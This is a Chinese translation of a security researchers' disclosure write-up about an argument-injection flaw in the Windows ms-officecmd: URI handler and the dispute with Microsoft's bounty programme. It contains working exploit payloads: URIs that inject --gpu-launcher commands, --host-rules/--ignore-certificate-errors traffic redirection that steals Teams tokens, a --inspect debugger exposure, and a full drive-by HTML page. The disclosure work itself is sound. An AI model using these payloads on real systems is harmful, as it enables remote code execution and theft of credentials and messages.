譯者：知道創宇404實驗室翻譯組
原文鏈接：https://positive.security/blog/ms-officecmd-rce#teams-drive-by-exploit-for-ie11edge-legacy-via---gpu-launcher-command-injection

img

摘要

  • 我們通過IE11/Edge Legacy和MS Teams在Windows 10上發現了一個驅動代碼執行漏洞，該漏洞由Windows 10/11默認處理程序中MS -officecmd: URI的參數注入觸發。
  • 通過其他瀏覽器進行攻擊，受害者需要接受一個不顯眼的確認對話框。或者，通過執行不安全URL處理的桌面應用程序，惡意URI也可以傳遞。
  • 微軟漏洞賞金計劃 (MSRC) 響應不及時:起初，他們判斷錯誤，并且完全忽略了這個問題。在我們反映后，該問題被歸類為“關鍵，RCE”，但對其進行了分類的懸賞廣告只獲得了十分之一的獎勵（5千美元與5萬美元的差距）。他們在5個月后提交的補丁未能正確解決基本參數注入（目前在Windows 11上仍然存在）。
  • 我們的研究過程很簡單：我們決定兩周內在默認的Windows10 URI處理程序中發現一個代碼執行漏洞。考慮到Windows附帶的URI處理程序的數量，很可能其他處理程序也可以找到漏洞。

開發/演示

代碼執行是由一個惡意網站觸發的，該網站執行Javascript重定向到一個定制的ms-officecmd:URI(微軟Office UWP應用程序用來啟動其他Office桌面應用程序的方案)。我們利用URI處理程序中的一個參數注入漏洞，繞過Electron中的一個安全措施，通過Microsoft Teams Electron應用程序的——gpu-launcher參數注入一個任意的操作系統命令。

通過MS Edge在Windows 10上驅動RCE

這是在上面的視頻中使用的ms-officecmd:URI(為了可讀性，使用JSON縮進):

ms-officecmd:{
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "appId": 5,
           "name": "irrelevant",
           "discovered": {
               "command": "irrelevant"
           }
       },
       "filename": "a:/b/ --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\System32\\cmd /c ping 2016843009 && \""
   }
}

除Internet Explorer和Microsoft Edge Legacy之外的瀏覽器在打開惡意URI之前會顯示一個很不顯眼的確認對話框:

img

不同的瀏覽器顯示出的確認對話框

作為通過惡意網站進行攻擊的替代方案，精心設計的ms-officecmd:URI也可以通過執行不安全URL處理的桌面應用程序傳遞。

這種特殊方法的先決條件是安裝Microsoft Teams但不運行。在下面環節中，我們還將展示在MS Teams的幫助下和沒有MS Teams的幫助下，scheme和參數注入如何以其他方式來使用。

注意:雖然Windows 11在研究的時候還沒有發布，但它也(仍然)受到相同的參數注入漏洞ms-officecmd:URI處理程序的影響。

ToC / 研究過程

動機:改進惡意URI攻擊場景

在2021年1月，我們花了一些時間分析流行的桌面應用程序如何處理用戶提供的URI，發現了其中大多數都存在代碼執行漏洞。關于我們報告的詳細文章可以在我們2021年4月的文章中找到。

為了展示我們在Windows上的發現，我們主要利用了與內容相關的架構(nfs， dav， file，…)，以及托管在互聯網可訪問的文件共享上的可執行文件/jar文件。關于這些有效負載，一定要注意，它們要么需要安裝Java，要么需要一個對話框來運行待確認的可執行文件。

在此過程中，我們還發現了一個WinSCP的URI處理中的代碼執行漏洞。WinSCP實際上是在Windows上處理各種URI方案的標準，但它并沒有預裝在操作系統中。

第三方URI處理程序的漏洞并不新鮮，之前的例子也有很多:

我們希望進一步改進基于惡意URI的攻擊場景，但要先在Windows預裝的URI處理程序中找到一個代碼執行漏洞。

在Windows 10中枚舉URI處理程序

Windows 10提供了大量與不同操作系統特性或其他微軟軟件相關的自定義URI處理程序。

對于我們的目的，找到注冊的URI處理程序有個非常方便的方法，就是在注冊表中重復搜索'URL Protocol':

img

在Windows注冊表中查找URI處理程序

Computer\HKEY_CLASSES_ROOT\*中的任何命中都意味著包含文件夾的名稱與已注冊URI處理程序的方案對應。注冊表還包含關于每一項的更多信息，比如用于調用相應處理程序的shell命令。有一個非常簡單和更實際的方法可以更好地了解這個方案是與什么相關，那就是在瀏覽器地址欄中輸入它，后跟一個:，然后按enter:

通過Edge中的calculator:方案打開calc.exe

ms-officecmd:因其復雜度而有趣

ms-officecmd:scheme立即引起了我們的注意，因為它有一個很有意思的名字：ms-Office是一套非常復雜的應用程序，有許多舊功能和多年的開發經驗。最重要的是，該方案以“command”的縮寫結尾，這意味著更具復雜性且有可能用于注射。

當我們開始使用它時，我們注意到一個名為LocalBridge.exe的可執行文件，它將短暫運行，但沒有明顯的外部影響。為了更深入地了解發生的情況，我們檢查了Windows事件日志，其中包含一些非常有用的信息：

img

.NET JsonReaderException 由打開URI ms-officecmd:invalid觸發

當打開一個由空的、有效的JSON有效負載ms-officecmd:{}組成的URI時，同樣的異常不會發生，這暗示我們關于有效URI的結構是什么樣子的。

觀察URI處理程序中的JSON解析之后，我們最終確認了ms-officecmd:URI有潛力完成非常復雜的事情。

反編譯 LocalBridge.exe 和 AppBridge.dll

為了更好地了解，我們決定從反編譯LocalBridge.exe開始:

img

LocalBridge.exe的反編譯源:URI驗證和LaunchOfficeAppValidated調用(dotPeek)

c#代碼包含了關于有效JSON有效負載結構的更多信息。在它的幫助下，我們再次開始實驗:

ms-officecmd:{
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "name": "Word"
       },
       "filename": "C:\\Windows\\System32\\calc.exe"
   }
}

不幸的是，我們并沒有在LocalBridge.exe身上有太多的發現。我們接著分析AppBridge.dll，它包含LaunchOfficeAppValidated方法，JSON有效負載最終傳遞給它:

img

LocalBridge.exe的反編譯源:從AppBridge.dll導入(dotPeek)的LaunchOfficeAppValidated

我們通過分解原生的AppBridge.dll庫，提取了更多潛在的JSON屬性名，但如何使用它們還不是很清楚。

img

AppBridge.dll: 相關的unicode字符串(來自Ghidra)

調試Office UWP應用程序（Electron PWA）

當LocalBridge.exe/AppBridge.dll的分析沒有迅速產生預期的結果時，我們采用了一種不同的并行方法：我們可以嘗試檢查生成此類URI的應用程序，而不是剖析處理ms officecmd:URI的應用程序。

雖然我們不知道哪些應用程序可以生成此類URI，但之前我們偶然發現了Office UWP應用程序，由于以下原因，該應用程序很可能成為候選應用程序：

  • 該應用程序可以通過自定義方案ms officeapp:打開，該方案與我們的研究目標ms officecmd:非常相似
  • 這個應用程序的行為幾乎與 office365在 https://www.office.com/上的網頁界面相同，同時它還允許打開一些無法從網頁上打開的桌面應用程序

img

Office UWP應用程序預裝在Windows 10上

直覺表明，每當Office UWP應用程序觸發要打開的Office桌面應用程序時，都會在內部使用ms officecmd:scheme。這一懷疑后來得到證實。

使用微軟自己的“Edge DevTools Preview”應用程序，我們能夠連接到該進程并調試Office UWP應用程序。

img

Microsoft Edge DevTools Preview (右) 提供 Office UWP app (左) 作為調試目標

得到我們想要的信息是迅速而簡單的:

  1. 執行全局源代碼搜索(ctrl+ shift+f)來查找 scheme 關鍵字ms-officecmd: 唯一找到的是launchProtocol常量的定義
  2. 執行另一個搜索來查找launchProtocol常量的用法: 第一個命中在launchViaProtocol方法中找到，這看起來很有用
  3. 在launchViaProtocol中添加一個斷點并嘗試觸發它: 點擊左邊欄上的 Outlook 圖標即可
  4. 從局部變量中提取 JSON 有效負載結構

img

Office UWP應用程序:launchProtocol常量定義(Edge DevTools 預覽)

img

Office UWP應用程序:ms-officecmd: JSON有效負載提取本地變量n (Edge DevTools預覽)

一個更快的恢復JSON有效負載的替代方案是使用 Microsoft Sysinternals Process Monitor tool 來記錄與LocalBridge.exe相關的Process Create事件:

img

ms-officecmd: 進程監視器顯示的JSON負載

ms-officecmd: 基本的JSON負載結構

有了提取的JSON有效負載，我們終于能夠通過ms-officecmd:URI打開Office桌面應用程序。具體來說，從Office UWP應用程序中提取的有效負載可以用來打開Outlook:

ms-officecmd:{
   "id": 3,
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "appId": 8,
           "name": "Outlook",
           "discovered": {
               "command": "c:\\program files\\microsoft office\\root\\office16\\outlook.exe"
           }
       },
       "filename": ""
   }
}

在隨后的測試中，很明顯有兩個屬性可以被操縱，而且效果立即可見:

  • appId: 要打開的辦公桌面應用程序
  • filename: 要在指定應用程序中打開的文件路徑或URL

name 和 command屬性被驗證并以較低的優先級處理，而id屬性似乎只用于遙測。

在一個安裝了基本Office的設備上, 我們列舉了以下 appId 映射:

  • 1: Access
  • 2: Excel
  • 5: Teams
  • 6: Skype for Business
  • 7: OneDrive
  • 8: Outlook
  • 10: PowerPoint
  • 12: Publisher
  • 14: Word
  • 18: OneNote
  • 21: Skype

Outlook 網絡釣魚問題

第一個值得注意的發現是，當在文件名屬性中提供一個http (s) URL 時，Outlook 會在一個基于 ie11的嵌入式 webview 中呈現相應的網頁，但沒有說明該網頁的來源，甚至沒有說明所顯示的內容來自外部網頁。這種行為可以被用來發起迷惑度極高的網絡釣魚攻擊，特別是因為 mailto:鏈接可以根據本地配置，可以打開用戶的電子郵件程序:

Outlook窗口內顯示的登錄界面是攻擊者控制的網頁

Outlook 代碼執行問題

Outlook 的意外打開行為可能被濫用，以通過更多的用戶交互來實現代碼執行。雖然 Outlook 不允許使用‘file://url，但允許使用c:// url 方案，后來將其視為本地路徑的驅動器號。此外，我們還添加了尾隨的/，它繞過了AppBridge.dll中的文件擴展檢查，但在以后打開可執行文件時被忽略。

這個 PoC 要求用戶確認一個額外的警告對話框，但是我們認為，在這個情境下，哪怕聰明的用戶也會被誤導，從而點擊確定:

使用ms-officecmd:和 Outlook 進行用戶交互的 RCE 攻擊

以下是惡意網頁鏈接被點擊后的情況:

  1. 通過動態添加一個指向 exe(demo中一個重命名為PuTTY的可執行文件) 的 iframe，一個名為outlook.exe的惡意可執行文件被保存到受害者的下載文件夾
  2. 看似無害的mailto:link 目標被一個惡意的ms-officecmd:URI 替換，該 URI 引用其filename屬性中下載的可執行文件(注意左下角的懸停鏈接預覽)
  3. 用戶確認打開 LocalBridge?對話框(沒有明確的安全警告)
  4. 當 Outlook 啟動時，它會顯示一個關于打開可能不安全的超鏈接的警告對話框。用戶確認打開了本地的 outlook.exe 文件。
  5. 執行下載的文件(彈出 PuTTY 窗口)

filename 屬性參數注入

上面顯示的問題濫用了filename屬性，它提供的值在 Outlook 應用程序的上下文中是不常用和處理不當的，但是在更抽象的ms-officecmd:URI 處理程序上下文中可能是完全有效的和符合預期的: 除了具有大量不同文件擴展名的本地文件路徑之外，大多數 Office 應用程序允許通過 httpurl 直接打開托管在 web 上的文檔，就像 SharePoint/OneDrive 中的文件一樣。

我們的接著發現，通過攻擊 URI 處理程序本身處理filename屬性的方式可以進一步推進濫用的可能性。即使不完全了解AppBridge.dll的內部工作原理，也有一定信心假設，為了使用指定的參數打開指定的 Office 應用程序，URI 處理程序最終要么生成并執行 shell 命令，要么直接運行其可執行程序。無論如何，攻擊者控制的filename屬性需要作為 shell 命令的一部分或參數傳遞。當我們使用常見的命令和參數注入技術進行實驗時，我們發現可以使用一個簡單的"" "(雙引號 + 空格)序列來打破文件名規范。

這個參數注入說明了核心的最重要的問題。在我們進入實際的開發之前，這里有一個視頻展示了最基本的參數注入:

使用filename參數注入來注入/q開關:

注意，當打開第二個 URI 時，沒有藍色 splash (加載)屏幕

這是視頻中使用的URI（需要轉義引號才能不破壞JSON）：

ms-officecmd:{
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "appId": 14,
           "name": "Word",
           "discovered": {
               "command": "irrelevant"
           }
       },
       "filename": "https://example.com/\" /q"
   }
}

加載惡意Word/Excel加載項

在發現可以將參數注入Office應用程序的啟動命令之后，我們的下一步自然是檢查哪些類型的參數對我們可用。因為我們有針對Microsoft Office產品的有文檔記錄的命令行開關，與啟動時加載外接程序有關的那些似乎最有可能使用。

我們嘗試了以下外接程序類型：

  • .dll 和 .wll 文件
  • VSTO 插件
  • 'Office' (web) 插件

不幸的是，我們無法讓應用程序在啟動時正確加載我們制作的任何加載項。

img

試圖使用-l開關加載 Word 外接程序失敗

Teams MITM, 使用--host-rules身份驗證泄漏

雖然我們對以文檔為中心的Office應用程序進行的參數注入實驗沒有產生任何現實世界的攻擊者會感興趣的發現，但還有另一組應用程序可以去研究：Microsoft Teams 和 Skype基于Electron框架，因此配備了大量有用的Electron 命令行參數和Node.js命令行參數.

我們能夠確認的第一個可能被濫用的參數是--host-rules。此參數可用于重新映射IP地址和主機名，從而將應用程序的所有相關網絡流量定向到所選目標。使用新域作為映射目標時，只要為新域正確設置了TLS，就不會出現TLS錯誤。通過添加--ignore certificate errors開關，甚至那個操作都可以省去。借助反向代理，甚至僅僅是偵聽web服務器，攻擊者可以提取發送到Microsoft Teams后端服務的所有敏感信息，包括身份驗證令牌和消息。還可以利用反向代理修改API響應，并向受害者模擬任何MS Team用戶。

當我們試圖設計一個有效載荷以注入這些參數時，我們必須克服另外兩個障礙：

  1. 作為關鍵CVE-2018-1000006的修復，Electron更改了他們的命令行解析邏輯，以在URI之后刪除其他參數。通過檢查源代碼，我們發現了一個單字母URI方案的例外情況，它跳過對包含驅動器號的Windows文件路徑（即C:/）的過濾。因此我們可以在偽filename前綴后面插入Electron參數，比如a:/b/，這適用于Electron和AppBridge.dll。

  2. MS團隊有時會因為AppBridge.dll文件擴展名檢查而不會為包含.（句點）的filename參數啟動。在下面的視頻中，通過轉換目標IP地址3.64.176.207轉換為其整數格式54571215繞過此檢查。

使用注入的--host rules和--ignore certificate errors參數將MS團隊https流量重定向到我們自己的服務器

請注意，在此演示視頻中，請求未轉發到Team的真實后端，導致連接錯誤。 這是視頻中使用的URI：

ms-officecmd:{
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "appId": 5,
           "name": "irrelevant",
           "discovered": {
               "command": "teams.exe",
               "uri": "msteams"
           }
       },
       "filename": "a:/b/ --ignore-certificate-errors --host-rules=\"MAP * 54571215\""
   }
}

使用--inspect 調試器從本地網絡執行Teams/Skype代碼

另一個有用的參數是Node.js--inspect參數，可用于調試Node.JSJavaScript環境。該參數指定了可用于連接調試器的網絡接口和端口號。出于安全原因，只能通過本地默認接口127.0.0.1進行調試。在下面的視頻中，我們通過---inspect=“0.0.0.0:28966”開關覆蓋該設置，以便在端口28966上接受任何網絡接口的調試器連接。一旦調試器被連接，我們就利用一個標準Node.js庫來執行我們的命令：require（“child_進程”）.exec（“<command>”）

再次制作有效負載需要一些技巧：

  1. 考慮到Skype打開時處理filename參數的方式，因此在插入其他參數之前，需要在假文件名之后再添加一個"字符。
  2. 在指定偵聽接口時，不接受IP地址整數格式，我們就不得不包含字符.。因此，這一次，我們通過在惡意的filename負載末尾添加字符/，繞過AppBridge.dll中的文件擴展名檢查。

本地網絡攻擊通過單擊VM內部的惡意鏈接來顯示，并從主機系統將調試器連接到Skype進程。

這是視頻中使用的URI：

ms-officecmd:{
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "appId": 21,
           "name": "irrelevant",
           "discovered": {
               "command": "irrelevant"
           }
       },
       "filename": "a:/b/\" --inspect=\"0.0.0.0:28966\" /"
   }
}

請注意，對于易受影響的設置，此攻擊還可能與DNS重新綁定等結合使用，或與（最近改進的）NATSlipstreaming技術一起使用，從而借助瀏覽器實現RCE的技術，無需本地網絡訪問。

Teams 借助--inspect 調試器和帶有SOP 旁路MITM 執行代碼

實際上，我們還沒有確認這個潛在的漏洞是否有效，但無論如何，我們都想分享這個想法，因為我們發現它的設置很有趣。最終，我們從未試圖利用它，因為在我們準備采取此處需要的復雜的設置之前，我們使用下一節中描述的方法實現了完全的RCE。

我們的想法是將上述部分中的--host rules和--inspect開關與--disable web security Chromium開關結合起來，這將允許我們利用對Chromium Javascript上下文的控制來連接到節點。js調試器并執行任意命令：

我們的想法是將上述部分中的--host rules和--inspect開關與--disable web security Chromium開關結合起來，這樣我們就可以利用對Chromium Javascript上下文的控制來連接到 Node.js調試器并執行任意命令：

  1. MS team 是通過惡意網站發起的，注入以下參數:
  2. --host-rules="MAP <ms_teams_resources_host><attacker_host>"
  3. --ignore-certificate-errors
  4. --inspect=1337
  5. --disable-web-security
  6. 在啟動期間，<attacker\u host>上的惡意反向代理或web服務器修改了組成Team UI的合法資源文件，以包含惡意Javascript負載，該負載將在嵌入Electron的Chromium瀏覽器上下文中執行。
  7. Electron Chromium瀏覽器中的惡意Javascript請求位于http://127.0.0.1:1337/json/list的Node.js調試器元數據終結點，檢索調試器連接所需的<random\u uuid>。--disable web security開關應禁用同源策略，使響應對惡意Javascript上下文可見。
  8. 3.Electron Chromium瀏覽器中的惡意Javascript連接到調試端點，地址為ws://127.0。0.1:1337/<random_uuid>,用來控制Node.js進程并執行一個OS命令。

Teams 通過--gpu-launcher命令注入執行代碼

在開始編寫報告之前，我們發現了最后一個問題，我們最終通過惡意的ms officecmd:URI執行了任意代碼。此PoC的先決條件是安裝MSTeams，但不運行它。

我們的惡意負載基于利用CVE-2018-1000006的漏洞，它利用--gpu launcher參數注入任意命令，該命令在Electron應用程序啟動時執行。要使該漏洞與我們的參數注入和MS Teams協同工作，我們需要：

  1. 使用1個字符的URI方案啟動filename參數以傳遞AppBridge.dll驗證，但也沒有運行到CVE-2018-1000006的Electron修復程序中（Electron仍然允許在Windows文件名之后添加其他參數，如“C:”）

  2. 注入額外的 --disable-gpu-sandbox 參數

  3. 通過刪去字符 . 或將 字符/附加到惡意的filename值,繞過AppBridge.dll 的文件擴展名檢查

  4. 添加一個shell指令，該指令可用于在注入的命令末尾鏈接像&&這樣的命令，以保留有效的語法

通過MS Edge和MS Teams 執行任意代碼

有效負載如下所示：

ms-officecmd:{
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "appId": 5,
           "name": "irrelevant",
           "discovered": {
               "command": "irrelevant"
           }
       },
       "filename": "a:/b/ --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\System32\\cmd /c calc && \""
   }
}

Skype預先安裝在Windows 10上，通過在其啟動命令中添加---secondary參數，可以并行啟動多個Skype實例。因此，如果通過Skype應用程序發現有效負載可利用此問題進行攻擊，則它應在默認Windows 10安裝上生效，無需任何先決條件。我們試圖為Skype找到有效的負載，但未成功。可能在Skype被發現易受CVE-2018-1000006攻擊時對其采取了額外的安全措施.

Teams 利用IE11/Edge遺留的漏洞進行驅動，借助--gpu-launcher 命令注入

此時，我們對我們的發現非常滿意，并開始為微軟編寫bug報告。就在我們即將提交報告時，我們注意到MSRC報告流包含一個強制下拉選擇，以指定報告的漏洞是否可以發在最新Windows版本的“Windows Insider Dev Channel”上。由于微軟為此類問題提供了相當可觀的5萬美元獎金，并且我們設想盡職調查強制表單字段將提高我們報告的質量評級，因此我們很高興從該發布渠道安裝最新版本的Windows 10，并驗證我們的漏洞利用也能在該渠道起效。

img MSRC報告流程詢問“是否在Windows Insider Dev渠道上發布？”

令我們驚訝的是，該漏洞不僅有效，而且通過簡單地添加一些點擊惡意鏈接的JavaScript，預裝的Internet Explorer 11和“舊”版本的MS Edge可能會任意用來觸發代碼執行，而無需瀏覽惡意網站以外的任何用戶操作。由于我們最初的動機是改進以前的攻擊場景，即桌面應用程序打開任意URI，因此我們沒有過多考慮瀏覽器攻擊，只是假設所有現代瀏覽器在處理諸如ms officecmd之類的模糊scheme時都有一些有用的安全默認設置。然而這一假設是錯誤的，如MS Edge Legacy所示：

Windows 10借助MS Edge在上通過RCE驅動

這是上面視頻中使用的有效載荷:

<html>
Exploit in progress <a id="l" href="ms-officecmd:{&quot;id&quot;:3,&quot;LocalProviders.LaunchOfficeAppForResult&quot;:{&quot;details&quot;:{&quot;appId&quot;:5,&quot;name&quot;:&quot;Teams&quot;,&quot;discovered&quot;:{&quot;command&quot;:&quot;teams.exe&quot;,&quot;uri&quot;:&quot;msteams&quot;}},&quot;filename&quot;:&quot;a:/b/%20--disable-gpu-sandbox%20--gpu-launcher=\&quot;C:\\Windows\\System32\\cmd%20\/c%20ping%2016843009%20&amp;&amp;%20\&quot;&quot;}}"></a>
<script>document.getElementById("l").click(); </script>

有了這段視頻，我們提交了報告。

MSRC 回應

分類時缺乏技術上的理解

我們的初次報告在提交后一天因不適用而被錯誤地結束。

[…] 不幸的是，您的報告似乎依賴于社會工程來完成，這不符合安全漏洞的定義。[…]

只有在我們提出上訴后，該問題才重新開放，并被歸類為“關鍵，RCE”。

不情愿的，緩慢的溝通

我們的第一封電子郵件在一周后才被回復。之后的任何溝通嘗試通常會需要數周的等待，需要我們跟進。（見時間表下）

補救不足

本文中描述的參數注入漏洞仍然存在于完全修補后的Windows 10和11系統上。5個月后發布的補丁似乎只照顧到了Teams和Skype。雖然它確實阻止了這里描述的RCE POC的漏洞，但我們認為可能還有其他方法利用參數注入來實現代碼執行。

在我們請微軟注意這一點后，他們說他們已經準備了另一個補丁來解決這個參數注入問題，并允許我們另外發布這篇文章。在發布這篇博文時，我們仍然可以注入任意參數，并在修補后的Windows 10/11系統上執行Outlook釣魚攻擊。

與公眾缺乏溝通

尚未指派CVE或發布任何咨詢意見，以告知公眾該風險，微軟對此的解釋如下：

out through Windows Update.不幸的是，在本案例中，沒有與報告相關的CVE或咨詢。我們創建的大多數CVE都是為了向用戶解釋為什么Windows Update要發送某些修補程序，以及為什么應該安裝它們。對網站的更改、通過Defender或通過商店下載通常不會以相同的方式關聯CVE。在本案例中，修復程序不會通過Windows Update發出。

誤導性懸賞廣告

雖然他們為這份報告支付了5000美元，但MS宣傳了他們的漏洞賞金計劃基于某些標準，還設立了特別攻擊場景獎。我們認為，我們的報告應符合第二種描述的場景，即“在很少或沒有用戶交互的情況下，未經驗證和未經授權訪問私人用戶數據”，最高獎勵為50000美元。

微軟一定有人同意我們的觀點，因為這份報告為我們贏得了180個研究員認可計劃點數，我們的想法就是，這個點數是適用于“合格攻擊場景”的60點再乘3倍。

當我們詢問懸賞金額時，我們被提示提供一份PoC，該PoC不要求受害者確認額外的“此站點正在嘗試打開LocalBridge”對話框：

至于第二種攻擊場景（遠程（假設沒有事先執行）、演示的未經驗證和未經授權訪問私人用戶數據（用戶交互很少或沒有），此場景不需要事先執行，而您案例中演示的信息泄漏需要交互才能執行代碼。 如果您可以提供一個在不提示我們的產品的情況下產生RCE的示例，我們很樂意重新審查該案例，以幫助您獲得可能的攻擊場景賞金獎勵。

我們遵從并回復了演示視頻，其中顯示了IE 11上的驅動漏洞，盡管：

  • 我們不認為“此站點正在嘗試打開LocalBridge”對話框應取消第二個攻擊場景中的問題，因為該場景明確允許很少的用戶交互。
  • 我們的初始報告中已經包含了一個PoC視頻，該視頻顯示了Edge瀏覽器上的驅動器利用漏洞攻擊，而當時最新發布的Windows 10 insider Dev頻道中是沒有提示的。當時我們意識到，，正好在我們于2021-03-10提交原始MSRC報告的前一天。

MS最終拒絕了對賞金金額的另外調整：

[…] 本案例仍在一般判斷的范圍內。只有Internet Explorer才能訪問的漏洞不在我們今天的賞金計劃的范圍內[…]

這一說法令人驚訝，因為 IE在2022-06-15年之前仍然“受支持”。

時間線

2021-03-10 通過https://msrc.microsoft.com/首次披露 2021-03-11 微軟關閉我們的初始報告，因為"[..] 你的報告似乎依賴于社會工程 [..]" 2021-03-11 我們向上訴委員會提交第二份報告 2021-03-17 微軟重開我們的原始報告 2021-03-27 MS證實了報告的行為 2021-04-07 微軟確認了5000美元的獎勵 2021-04-07 我們詢問懸賞金額 2021-04-08 我們獲得180點數 2021-04-26 我們從2021-04-07開始跟進我們的電子郵件 2021-05-17 我們再次跟進 2021-05-18 MS要求我們“提供一個在沒有提示自家產品的情況下導致RCE的示例” 2021-05-18 我們用IE 11驅動 PoC視頻回應 2021-06-07 我們從2021年5月18日開始跟進我們的電子郵件 2021-06-24 我們再次跟進 2021-06-24 MS拒絕對賞金進行調整，因為“只有Internet Explorer才能訪問的漏洞不在我們賞金計劃的范圍內” 2021-08-31 我們對現在“完整”的報告進行的重新測試表明，我們的RCE PoC 不再有效，但參數注入沒有修補 2021-08-31 我們敦促微軟參數論點注入，并給他們4周時間要求推遲這篇文章的計劃發布日期 2021-09-16 微軟表示，應該在未來幾天內推出一個補丁來修正這一參數注入 2021-12-07 我們發表這篇博文

[1] https://support.microsoft.com/en-us/office/command-line-switches-for-microsoft-office-products-079164cd-4ef5-4178-b235-441737deb3a6

[2] https://www.electronjs.org/blog/protocol-handler-fix

[3] https://github.com/electron/electron/blob/ master/shell/app/command_line_args.cc#L18-L20

[4] List of launchable applications: Access, Delve, Skype, Teams, Excel, SkypeForBusiness, OfficeLens, OneNote, Outlook, Powerpoint, Project, Publisher, Sway, Visio, Word, Office, Office Hub

Paper 本文由 Seebug Paper 發布，如需轉載請注明來源。本文地址：http://www.bjnorthway.com/1784/